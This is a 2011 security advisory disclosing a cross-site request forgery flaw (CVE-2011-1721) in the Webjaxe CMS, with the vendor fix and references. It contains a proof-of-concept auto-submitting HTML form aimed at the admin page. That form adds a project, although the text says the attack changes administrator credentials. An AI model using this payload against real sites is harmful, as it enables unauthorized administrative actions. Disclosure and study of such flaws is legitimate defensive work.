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Cross-site Request Forgery (CSRF) in Webjaxe

Advisory ID:HTB22927
Product:Webjaxe
Vendor:Webjaxe
Vulnerable Versions:1.02 and probably prior
Tested Version:1.02
Advisory Publication:March 29, 2011 [without technical details]
Vendor Notification:March 29, 2011
Public Disclosure:April 12, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2011-1721
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Webjaxe which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Webjaxe
The vulnerability exists due to insufficient validation of the request origin in php/partie_administrateur/administration.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://[host]/php/partie_administrateur/administration.php" method="post" name="main" id="main">
<input type="hidden" name="action" value="ajouter_projet">
<input type="hidden" name="titre_projet" value="123123">
<input type="hidden" name="ajouter" value="Add">
<input type="hidden" name="submit" value="OK">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>


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Solution:
Upgrade to Webjaxe 1.4


References:
[1] High-Tech Bridge Advisory HTB22927 - https://www.immuniweb.com/advisory/HTB22927 - Cross-site Request Forgery (CSRF) in Webjaxe
[2] Webjaxe - http://media4.obspm.fr/outils/webjaxe/en/ - WebJaxe is a free CMS, to create websites with a web user interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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